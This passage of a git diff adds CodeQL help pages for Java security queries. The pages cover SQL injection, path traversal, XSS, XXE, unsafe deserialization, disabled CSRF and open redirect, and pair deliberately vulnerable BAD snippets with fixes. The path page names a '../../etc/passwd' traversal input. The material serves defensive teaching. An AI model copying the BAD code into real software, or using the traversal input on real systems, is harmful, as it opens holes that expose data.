is to use CSRF protection for any request that could be processed by a browser client by normal users. + + +## Example +The following example shows the Spring Java configuration with CSRF protection disabled. This type of configuration should only be used if you are creating a service that is used only by non-browser clients. + + +```java +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; + +@EnableWebSecurity +@Configuration +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + @Override + protected void configure(HttpSecurity http) throws Exception { + http + .csrf(csrf -> + // BAD - CSRF protection shouldn't be disabled + csrf.disable() + ); + } +} + +``` + +## References +* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)). +* Spring Security Reference: [ Cross Site Request Forgery (CSRF) for Servlet Environments ](https://docs.spring.io/spring-security/site/docs/current/reference/html5/#servlet-csrf). +* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SqlTainted.md b/docs/language/query-help/java/SqlTainted.md new file mode 100644 index 00000000000..9c4a07db586 --- /dev/null +++ b/docs/language/query-help/java/SqlTainted.md @@ -0,0 +1,122 @@ +# Query built from user-controlled sources + +``` +ID: java/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-089/SqlTainted.ql) + +If a database query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. This applies to various database query languages, including SQL and the Java Persistence Query Language. + + +## Recommendation +Usually, it is better to use a SQL prepared statement than to build a complete SQL query with string concatenation. A prepared statement can include a wildcard, written as a question mark (?), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each wildcard in the query. + +In the Java Persistence Query Language, it is better to use queries with parameters than to build a complete query with string concatenation. A Java Persistence query can include a parameter placeholder for each part of the query that is expected to be filled in by a different value when run. A parameter placeholder may be indicated by a colon (:) followed by a parameter name, or by a question mark (?) followed by an integer position. When the query is later executed, a value must be supplied for each parameter in the query, using the `setParameter` method. Specifying the query using the `@NamedQuery` annotation introduces an additional level of safety: the query must be a constant string literal, preventing construction by string concatenation, and the only way to fill in values for parts of the query is by setting positional parameters. + +It is good practice to use prepared statements (in SQL) or query parameters (in the Java Persistence Query Language) for supplying parameter values to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. + + +## Example +In the following example, the code runs a simple SQL query in two different ways. + +The first way involves building a query, `query1`, by concatenating an environment variable with some string literals. The environment variable can include special characters, so this code allows for SQL injection attacks. + +The second way, which shows good practice, involves building a query, `query2`, with a single string literal that includes a wildcard (`?`). The wildcard is then given a value by calling `setString`. This version is immune to injection attacks, because any special characters in the environment variable are not given any special treatment. + + +```java +{ + // BAD: the category might have SQL special characters in it + String category = System.getenv("ITEM_CATEGORY"); + Statement statement = connection.createStatement(); + String query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + category + "' ORDER BY PRICE"; + ResultSet results = statement.executeQuery(query1); +} + +{ + // GOOD: use a prepared query + String category = System.getenv("ITEM_CATEGORY"); + String query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=? ORDER BY PRICE"; + PreparedStatement statement = connection.prepareStatement(query2); + statement.setString(1, category); + ResultSet results = statement.executeQuery(); +} +``` + +## Example +The following code shows several different ways to run a Java Persistence query. + +The first example involves building a query, `query1`, by concatenating an environment variable with some string literals. Just like the SQL example, the environment variable can include special characters, so this code allows for Java Persistence query injection attacks. + +The remaining examples demonstrate different methods for safely building a Java Persistence query with user-supplied values: + +1. `query2` uses a single string literal that includes a placeholder for a parameter, indicated by a colon (`:`) and parameter name (`category`). +1. `query3` uses a single string literal that includes a placeholder for a parameter, indicated by a question mark (`?`) and position number (`1`). +1. `namedQuery1` is defined using the `@NamedQuery` annotation, whose `query` attribute is a string literal that includes a placeholder for a parameter, indicated by a colon (`:`) and parameter name (`category`). +1. `namedQuery2` is defined using the `@NamedQuery` annotation, whose `query` attribute includes a placeholder for a parameter, indicated by a question mark (`?`) and position number (`1`). +The parameter is then given a value by calling `setParameter`. These versions are immune to injection attacks, because any special characters in the environment variable or user-supplied value are not given any special treatment. + + +```java +{ + // BAD: the category might have Java Persistence Query Language special characters in it + String category = System.getenv("ITEM_CATEGORY"); + Statement statement = connection.createStatement(); + String query1 = "SELECT p FROM Product p WHERE p.category LIKE '" + + category + "' ORDER BY p.price"; + Query q = entityManager.createQuery(query1); +} + +{ + // GOOD: use a named parameter and set its value + String category = System.getenv("ITEM_CATEGORY"); + String query2 = "SELECT p FROM Product p WHERE p.category LIKE :category ORDER BY p.price" + Query q = entityManager.createQuery(query2); + q.setParameter("category", category); +} + +{ + // GOOD: use a positional parameter and set its value + String category = System.getenv("ITEM_CATEGORY"); + String query3 = "SELECT p FROM Product p WHERE p.category LIKE ?1 ORDER BY p.price" + Query q = entityManager.createQuery(query3); + q.setParameter(1, category); +} + +{ + // GOOD: use a named query with a named parameter and set its value + @NamedQuery( + name="lookupByCategory", + query="SELECT p FROM Product p WHERE p.category LIKE :category ORDER BY p.price") + private static class NQ {} + ... + String category = System.getenv("ITEM_CATEGORY"); + Query namedQuery1 = entityManager.createNamedQuery("lookupByCategory"); + namedQuery1.setParameter("category", category); +} + +{ + // GOOD: use a named query with a positional parameter and set its value + @NamedQuery( + name="lookupByCategory", + query="SELECT p FROM Product p WHERE p.category LIKE ?1 ORDER BY p.price") + private static class NQ {} + ... + String category = System.getenv("ITEM_CATEGORY"); + Query namedQuery2 = entityManager.createNamedQuery("lookupByCategory"); + namedQuery2.setParameter(1, category); +} +``` + +## References +* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). +* The CERT Oracle Secure Coding Standard for Java: [IDS00-J. Prevent SQL injection](https://www.securecoding.cert.org/confluence/display/java/IDS00-J.+Prevent+SQL+injection). +* The Java Tutorials: [Using Prepared Statements](http://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html). +* The Java EE Tutorial: [The Java Persistence Query Language](https://docs.oracle.com/javaee/7/tutorial/persistence-querylanguage.htm). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SqlUnescaped.md b/docs/language/query-help/java/SqlUnescaped.md new file mode 100644 index 00000000000..ff991614960 --- /dev/null +++ b/docs/language/query-help/java/SqlUnescaped.md @@ -0,0 +1,56 @@ +# Query built without neutralizing special characters + +``` +ID: java/concatenated-sql-query +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-089/SqlUnescaped.ql) + +Even when the components of a SQL query are not fully controlled by a user, it is a vulnerability to concatenate those components into a SQL query without neutralizing special characters. Perhaps a separate vulnerability will allow the user to gain control of the component. As well, a user who cannot gain full control of an input might influence it enough to cause the SQL query to fail to run. + + +## Recommendation +Usually, it is better to use a SQL prepared statement than to build a complete SQL query with string concatenation. A prepared statement can include a wildcard, written as a question mark (?), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each wildcard in the query. + +In the Java Persistence Query Language, it is better to use queries with parameters than to build a complete query with string concatenation. A Java Persistence query can include a parameter placeholder for each part of the query that is expected to be filled in by a different value when run. A parameter placeholder may be indicated by a colon (:) followed by a parameter name, or by a question mark (?) followed by an integer position. When the query is later executed, a value must be supplied for each parameter in the query, using the `setParameter` method. Specifying the query using the `@NamedQuery` annotation introduces an additional level of safety: the query must be a constant string literal, preventing construction by string concatenation, and the only way to fill in values for parts of the query is by setting positional parameters. + +It is good practice to use prepared statements (in SQL) or query parameters (in the Java Persistence Query Language) for supplying parameter values to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. + + +## Example +In the following example, the code runs a simple SQL query in two different ways. + +The first way involves building a query, `query1`, by concatenating the result of `getCategory` with some string literals. The result of `getCategory` can include special characters, or it might be refactored later so that it may return something that contains special characters. + +The second way, which shows good practice, involves building a query, `query2`, with a single string literal that includes a wildcard (`?`). The wildcard is then given a value by calling `setString`. This version is immune to injection attacks, because any special characters in the result of `getCategory` are not given any special treatment. + + +```java +{ + // BAD: the category might have SQL special characters in it + String category = getCategory(); + Statement statement = connection.createStatement(); + String query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + category + "' ORDER BY PRICE"; + ResultSet results = statement.executeQuery(query1); +} + +{ + // GOOD: use a prepared query + String category = getCategory(); + String query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=? ORDER BY PRICE"; + PreparedStatement statement = connection.prepareStatement(query2); + statement.setString(1, category); + ResultSet results = statement.executeQuery(); +} +``` + +## References +* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). +* The CERT Oracle Secure Coding Standard for Java: [IDS00-J. Prevent SQL injection](https://www.securecoding.cert.org/confluence/display/java/IDS00-J.+Prevent+SQL+injection). +* The Java Tutorials: [Using Prepared Statements](http://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/java/StackTraceExposure.md b/docs/language/query-help/java/StackTraceExposure.md new file mode 100644 index 00000000000..9f1c47fd66f --- /dev/null +++ b/docs/language/query-help/java/StackTraceExposure.md @@ -0,0 +1,54 @@ +# Information exposure through a stack trace + +``` +ID: java/stack-trace-exposure +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-209 external/cwe/cwe-497 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-209/StackTraceExposure.ql) + +Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. + +Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. + + +## Recommendation +Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. + + +## Example +In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user using the `sendError()` method. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information. + + +```java +protected void doGet(HttpServletRequest request, HttpServletResponse response) { + try { + doSomeWork(); + } catch (NullPointerException ex) { + // BAD: printing a stack trace back to the response + ex.printStackTrace(response.getWriter()); + return; + } + + try { + doSomeWork(); + } catch (NullPointerException ex) { + // GOOD: log the stack trace, and send back a non-revealing response + log("Exception occurred", ex); + response.sendError( + HttpServletResponse.SC_INTERNAL_SERVER_ERROR, + "Exception occurred"); + return; + } +} + +``` + +## References +* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). +* CERT Java Coding Standard: [ERR01-J. Do not allow exceptions to expose sensitive information](https://www.securecoding.cert.org/confluence/display/java/ERR01-J.+Do+not+allow+exceptions+to+expose+sensitive+information). +* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). +* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TOCTOURace.md b/docs/language/query-help/java/TOCTOURace.md new file mode 100644 index 00000000000..f7635dc69da --- /dev/null +++ b/docs/language/query-help/java/TOCTOURace.md @@ -0,0 +1,63 @@ +# Time-of-check time-of-use race condition + +``` +ID: java/toctou-race-condition +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-367 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-367/TOCTOURace.ql) + +Often it is necessary to check the state of a resource before using it. If the resource is accessed concurrently, then the check and the use need to be performed atomically, otherwise the state of the resource may change between the check and the use. This can lead to a "time-of-check/time-of-use" (TOCTOU) race condition. + +In Java, classes may present state inspection methods and operation methods which are synchronized. This prevents multiple threads from executing those methods simultaneously, but it does not prevent a state change in between separate method invocations. + + +## Recommendation +When calling a series of methods which require a consistent view of an object, make sure to synchronize on a monitor that will prevent any other access to the object during your operations. + +If the class that you are using has a well-designed interface, then synchronizing on the object itself will prevent its state being changed inappropriately. + + +## Example +The following example shows a resource which has a readiness state, and an action that is only valid if the resource is ready. + +In the bad case, the caller checks the readiness state and then acts, but does not synchronize around the two calls, so the readiness state may be changed by another thread. + +In the good case, the caller jointly synchronizes the check and the use on the resource, so no other thread can modify the state before the use. + + +```java +class Resource { + public synchronized boolean isReady() { ... } + + public synchronized void setReady(boolean ready) { ... } + + public synchronized void act() { + if (!isReady()) + throw new IllegalStateException(); + ... + } +} + +public synchronized void bad(Resource r) { + if (r.isReady()) { + // r might no longer be ready, another thread might + // have called setReady(false) + r.act(); + } +} + +public synchronized void good(Resource r) { + synchronized(r) { + if (r.isReady()) { + r.act(); + } + } +} +``` + +## References +* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TaintedPath.md b/docs/language/query-help/java/TaintedPath.md new file mode 100644 index 00000000000..38c15c009a5 --- /dev/null +++ b/docs/language/query-help/java/TaintedPath.md @@ -0,0 +1,62 @@ +# Uncontrolled data used in path expression + +``` +ID: java/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-022/TaintedPath.ql) + +Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the file system. + + +## Recommendation +Validate user input before using it to construct a file path. Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". +* Ideally use a whitelist of known good patterns. + +## Example +In this example, a file name is read from a `java.net.Socket` and then used to access a file in the user's home directory and send it back over the socket. However, a malicious user could enter a file name which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. + + +```java +public void sendUserFile(Socket sock, String user) { + BufferedReader filenameReader = new BufferedReader( + new InputStreamReader(sock.getInputStream(), "UTF-8")); + String filename = filenameReader.readLine(); + // BAD: read from a file using a path controlled by the user + BufferedReader fileReader = new BufferedReader( + new FileReader("/home/" + user + "/" + filename)); + String fileLine = fileReader.readLine(); + while(fileLine != null) { + sock.getOutputStream().write(fileLine.getBytes()); + fileLine = fileReader.readLine(); + } +} + +public void sendUserFileFixed(Socket sock, String user) { + // ... + + // GOOD: remove all dots and directory delimiters from the filename before using + String filename = filenameReader.readLine().replaceAll("\.", "").replaceAll("/", ""); + BufferedReader fileReader = new BufferedReader( + new FileReader("/home/" + user + "/" + filename)); + + // ... +} +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TaintedPermissionsCheck.md b/docs/language/query-help/java/TaintedPermissionsCheck.md new file mode 100644 index 00000000000..4af49ac9856 --- /dev/null +++ b/docs/language/query-help/java/TaintedPermissionsCheck.md @@ -0,0 +1,44 @@ +# User-controlled data used in permissions check + +``` +ID: java/tainted-permissions-check +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-807 external/cwe/cwe-290 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-807/TaintedPermissionsCheck.ql) + +Using user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data. + + +## Recommendation +When checking whether a user is authorized for a particular activity, do not use data that is controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values. + +Similarly, do not decide which permission to check for based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for. + + +## Example +This example, using the Apache Shiro security framework, shows two ways to specify the permissions to check. The first way uses a string, `whatDoTheyWantToDo`, to specify the permissions to check. However, this string is built from user input. This can allow an attacker to force a check against a permission that they know they have, rather than the permission that should be checked. For example, while trying to access the account details of another user, the attacker could force the system to check whether they had permissions to access their *own* account details, which is incorrect, and would allow them to perform the action. The second, more secure way uses a fixed check that does not depend on data that is controlled by the user. + + +```java +public static void main(String[] args) { + String whatDoTheyWantToDo = args[0]; + Subject subject = SecurityUtils.getSubject(); + + // BAD: permissions decision made using tainted data + if(subject.isPermitted("domain:sublevel:" + whatDoTheyWantToDo)) + doIt(); + + // GOOD: use fixed checks + if(subject.isPermitted("domain:sublevel:whatTheMethodDoes")) + doIt(); +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SEC02-J. Do not base security checks on untrusted sources](https://www.securecoding.cert.org/confluence/display/java/SEC02-J.+Do+not+base+security+checks+on+untrusted+sources). +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). +* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UnreleasedLock.md b/docs/language/query-help/java/UnreleasedLock.md new file mode 100644 index 00000000000..33e2306ba2f --- /dev/null +++ b/docs/language/query-help/java/UnreleasedLock.md @@ -0,0 +1,42 @@ +# Unreleased lock + +``` +ID: java/unreleased-lock +Kind: problem +Severity: error +Precision: medium +Tags: reliability security external/cwe/cwe-764 external/cwe/cwe-833 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Concurrency/UnreleasedLock.ql) + +When a thread acquires a lock it must make sure to unlock it again; failing to do so can lead to deadlocks. If a lock allows a thread to acquire it multiple times, for example `java.util.concurrent.locks.ReentrantLock`, then the number of locks must match the number of unlocks in order to fully release the lock. + + +## Recommendation +It is recommended practice always to immediately follow a call to `lock` with a `try` block and place the call to `unlock` inside the `finally` block. Beware of calls inside the `finally` block that could cause exceptions, as this may result in skipping the call to `unlock`. + + +## Example +The typical pattern for using locks safely looks like this: + + +```java +public void m() { + lock.lock(); + // A + try { + // ... method body + } finally { + // B + lock.unlock(); + } +} +``` +If any code that can cause a premature method exit (for example by throwing an exception) is inserted at either point `A` or `B` then the method might not unlock, so this should be avoided. + + +## References +* Java API Documentation: [java.util.concurrent.locks.Lock](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/Lock.html), [java.util.concurrent.locks.ReentrantLock](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/ReentrantLock.html). +* Common Weakness Enumeration: [CWE-764](https://cwe.mitre.org/data/definitions/764.html). +* Common Weakness Enumeration: [CWE-833](https://cwe.mitre.org/data/definitions/833.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UnsafeDeserialization.md b/docs/language/query-help/java/UnsafeDeserialization.md new file mode 100644 index 00000000000..a9eb0e06c46 --- /dev/null +++ b/docs/language/query-help/java/UnsafeDeserialization.md @@ -0,0 +1,59 @@ +# Deserialization of user-controlled data + +``` +ID: java/unsafe-deserialization +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-502 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-502/UnsafeDeserialization.ql) + +Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary serializable objects is easily exploitable and in many cases allows an attacker to execute arbitrary code. Even before a deserialized object is returned to the caller of a deserialization method a lot of code may have been executed, including static initializers, constructors, and finalizers. Automatic deserialization of fields means that an attacker may craft a nested combination of objects on which the executed initialization code may have unforeseen effects, such as the execution of arbitrary code. + +There are many different serialization frameworks. This query currently supports Kryo, XmlDecoder, XStream, SnakeYaml, and Java IO serialization through `ObjectInputStream`/`ObjectOutputStream`. + + +## Recommendation +Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON or XML. However, these formats should not be deserialized into complex objects because this provides further opportunities for attack. For example, XML-based deserialization attacks are possible through libraries such as XStream and XmlDecoder. Alternatively, a tightly controlled whitelist can limit the vulnerability of code, but be aware of the existence of so-called Bypass Gadgets, which can circumvent such protection measures. + + +## Example +The following example calls `readObject` directly on an `ObjectInputStream` that is constructed from untrusted data, and is therefore inherently unsafe. + + +```java +public MyObject { + public int field; + MyObject(int field) { + this.field = field; + } +} + +public MyObject deserialize(Socket sock) { + try(ObjectInputStream in = new ObjectInputStream(sock.getInputStream())) { + return (MyObject)in.readObject(); // unsafe + } +} + +``` +Rewriting the communication protocol to only rely on reading primitive types from the input stream removes the vulnerability. + + +```java +public MyObject deserialize(Socket sock) { + try(DataInputStream in = new DataInputStream(sock.getInputStream())) { + return new MyObject(in.readInt()); + } +} + +``` + +## References +* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). +* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). +* Talks by Chris Frohoff & Gabriel Lawrence: [ AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day](http://frohoff.github.io/appseccali-marshalling-pickles/), [OWASP SD: Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization](http://frohoff.github.io/owaspsd-deserialize-my-shorts/). +* Alvaro Muñoz & Christian Schneider, RSAConference 2016: [Serial Killer: Silently Pwning Your Java Endpoints](https://www.rsaconference.com/writable/presentations/file_upload/asd-f03-serial-killer-silently-pwning-your-java-endpoints.pdf). +* SnakeYaml documentation on deserialization: [SnakeYaml deserialization](https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-loading-yaml). +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UrlRedirect.md b/docs/language/query-help/java/UrlRedirect.md new file mode 100644 index 00000000000..f623bc024ff --- /dev/null +++ b/docs/language/query-help/java/UrlRedirect.md @@ -0,0 +1,43 @@ +# URL redirection from remote source + +``` +ID: java/unvalidated-url-redirection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-601/UrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks. It also shows how to remedy the problem by validating the user input against a known fixed string. + + +```java +public class UrlRedirect extends HttpServlet { + private static final String VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; + + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + // BAD: a request parameter is incorporated without validation into a URL redirect + response.sendRedirect(request.getParameter("target")); + + // GOOD: the request parameter is validated against a known fixed string + if (VALID_REDIRECT.equals(request.getParameter("target"))) { + response.sendRedirect(VALID_REDIRECT); + } + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/java/XSS.md b/docs/language/query-help/java/XSS.md new file mode 100644 index 00000000000..da739ec02c5 --- /dev/null +++ b/docs/language/query-help/java/XSS.md @@ -0,0 +1,39 @@ +# Cross-site scripting + +``` +ID: java/xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-079/XSS.ql) + +Directly writing user input (for example, an HTTP request parameter) to a web page, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the reference. + + +## Example +The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. + + +```java +public class XSS extends HttpServlet { + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + // BAD: a request parameter is written directly to an error response page + response.sendError(HttpServletResponse.SC_NOT_FOUND, + "The page \"" + request.getParameter("page") + "\" was not found."); + } +} + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/java/XXE.md b/docs/language/query-help/java/XXE.md new file mode 100644 index 00000000000..d422d230daa --- /dev/null +++ b/docs/language/query-help/java/XXE.md @@ -0,0 +1,54 @@ +# Resolving XML external entity in user-controlled data + +``` +ID: java/xxe +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-611 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-611/XXE.ql) + +Parsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial of service, or server side request forgery. Even when the result of parsing is not returned to the user, out-of-band data retrieval techniques may allow attackers to steal sensitive data. Denial of services can also be carried out in this situation. + +There are many XML parsers for Java, and most of them are vulnerable to XXE because their default settings enable parsing of external entities. This query currently identifies vulnerable XML parsing from the following parsers: `javax.xml.parsers.DocumentBuilder`, `javax.xml.stream.XMLStreamReader`, `org.jdom.input.SAXBuilder`/`org.jdom2.input.SAXBuilder`, `javax.xml.parsers.SAXParser`,`org.dom4j.io.SAXReader`, `org.xml.sax.XMLReader`, `javax.xml.transform.sax.SAXSource`, `javax.xml.transform.TransformerFactory`, `javax.xml.transform.sax.SAXTransformerFactory`, `javax.xml.validation.SchemaFactory`, `javax.xml.bind.Unmarshaller` and `javax.xml.xpath.XPathExpression`. + + +## Recommendation +The best way to prevent XXE attacks is to disable the parsing of any Document Type Declarations (DTDs) in untrusted data. If this is not possible you should disable the parsing of external general entities and external parameter entities. This improves security but the code will still be at risk of denial of service and server side request forgery attacks. Protection against denial of service attacks may also be implemented by setting entity expansion limits, which is done by default in recent JDK and JRE implementations. + + +## Example +The following example calls `parse` on a `DocumentBuilder` that is not safely configured on untrusted data, and is therefore inherently unsafe. + + +```java +public void parse(Socket sock) throws Exception { + DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + DocumentBuilder builder = factory.newDocumentBuilder(); + builder.parse(sock.getInputStream()); //unsafe +} + +``` +In this example, the `DocumentBuilder` is created with DTD disabled, securing it against XXE attack. + + +```java +public void disableDTDParse(Socket sock) throws Exception { + DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + DocumentBuilder builder = factory.newDocumentBuilder(); + builder.parse(sock.getInputStream()); //safe +} + +``` + +## References +* OWASP vulnerability description: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing). +* OWASP guidance on parsing xml files: [XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java). +* Paper by Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://www.vsecurity.com//download/publications/XMLDTDEntityAttacks.pdf) +* Out-of-band data retrieval: Timur Yunusov & Alexey Osipov, Black hat EU 2013: [XML Out-Of-Band Data Retrieval](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf). +* Denial of service attack (Billion laughs): [Billion Laughs.](https://en.wikipedia.org/wiki/Billion_laughs) +* The Java Tutorials: [Processing Limit Definitions.](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html) +* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ZipSlip.md b/docs/language/query-help/java/ZipSlip.md new file mode 100644 index 00000000000..c60e4c91510 --- /dev/null +++ b/docs/language/query-help/java/ZipSlip.md @@ -0,0 +1,57 